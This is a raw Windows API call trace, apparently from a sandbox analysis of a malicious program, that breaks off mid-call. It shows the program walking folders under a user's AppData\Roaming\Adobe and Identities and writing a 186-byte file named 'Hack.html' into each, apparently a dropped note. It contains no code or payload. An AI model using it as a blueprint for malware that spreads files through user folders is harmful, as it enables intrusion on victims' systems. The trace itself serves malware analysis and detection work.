returned 1 [0079.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R", lpFilePart=0x0) returned 0x54 [0079.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\", lpFilePart=0x0) returned 0x55 [0079.269] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.269] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.269] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.269] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\Hack.html", lpFilePart=0x0) returned 0x5e [0079.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\d5ntrc6r\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.275] GetFileType (hFile=0x174) returned 0x1 [0079.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.276] GetFileType (hFile=0x174) returned 0x1 [0079.276] WriteFile (in: hFile=0x174, lpBuffer=0x2819514*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2819514*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Hack.html", lpFilePart=0x0) returned 0x55 [0079.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.277] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\assetcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.278] GetFileType (hFile=0x174) returned 0x1 [0079.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.278] GetFileType (hFile=0x174) returned 0x1 [0079.278] WriteFile (in: hFile=0x174, lpBuffer=0x281bd6c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x281bd6c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.279] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\Hack.html", lpFilePart=0x0) returned 0x4a [0079.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\flash player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.280] GetFileType (hFile=0x174) returned 0x1 [0079.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.280] GetFileType (hFile=0x174) returned 0x1 [0079.280] WriteFile (in: hFile=0x174, lpBuffer=0x281e59c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x281e59c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x3e [0079.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\", lpFilePart=0x0) returned 0x3f [0079.281] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.282] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.282] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.282] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights", lpFilePart=0x0) returned 0x3e [0079.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\", lpFilePart=0x0) returned 0x3f [0079.282] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.283] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.283] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.283] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.283] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\Hack.html", lpFilePart=0x0) returned 0x48 [0079.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\headlights\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.284] GetFileType (hFile=0x174) returned 0x1 [0079.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.284] GetFileType (hFile=0x174) returned 0x1 [0079.284] WriteFile (in: hFile=0x174, lpBuffer=0x28224a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28224a8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x3f [0079.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\", lpFilePart=0x0) returned 0x40 [0079.285] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.286] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.286] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.286] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.286] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics", lpFilePart=0x0) returned 0x3f [0079.287] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\", lpFilePart=0x0) returned 0x40 [0079.287] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.287] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.287] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.287] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.287] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x4c [0079.288] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\", lpFilePart=0x0) returned 0x4d [0079.288] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.288] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.288] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.289] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries", lpFilePart=0x0) returned 0x4c [0079.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\", lpFilePart=0x0) returned 0x4d [0079.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.289] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.290] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.290] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.290] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\Hack.html", lpFilePart=0x0) returned 0x56 [0079.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\dictionaries\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.291] GetFileType (hFile=0x174) returned 0x1 [0079.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.291] GetFileType (hFile=0x174) returned 0x1 [0079.291] WriteFile (in: hFile=0x174, lpBuffer=0x282819c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x282819c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.292] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Hack.html", lpFilePart=0x0) returned 0x49 [0079.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\linguistics\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.292] GetFileType (hFile=0x174) returned 0x1 [0079.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.293] GetFileType (hFile=0x174) returned 0x1 [0079.293] WriteFile (in: hFile=0x174, lpBuffer=0x282a9c4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x282a9c4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x41 [0079.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpFilePart=0x0) returned 0x42 [0079.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.295] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.295] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.295] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2", lpFilePart=0x0) returned 0x41 [0079.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpFilePart=0x0) returned 0x42 [0079.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.296] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.296] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.296] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\Hack.html", lpFilePart=0x0) returned 0x4b [0079.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\logtransport2\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.297] GetFileType (hFile=0x174) returned 0x1 [0079.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.297] GetFileType (hFile=0x174) returned 0x1 [0079.297] WriteFile (in: hFile=0x174, lpBuffer=0x282e960*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x282e960*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x3d [0079.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0079.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.298] GetFileType (hFile=0x174) returned 0x1 [0079.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0079.299] GetFileType (hFile=0x174) returned 0x1 [0079.299] WriteFile (in: hFile=0x174, lpBuffer=0x2831158*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2831158*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0079.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x38 [0079.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\", lpFilePart=0x0) returned 0x39 [0079.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.300] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.301] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.301] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.301] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x38 [0079.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\", lpFilePart=0x0) returned 0x39 [0079.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.301] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 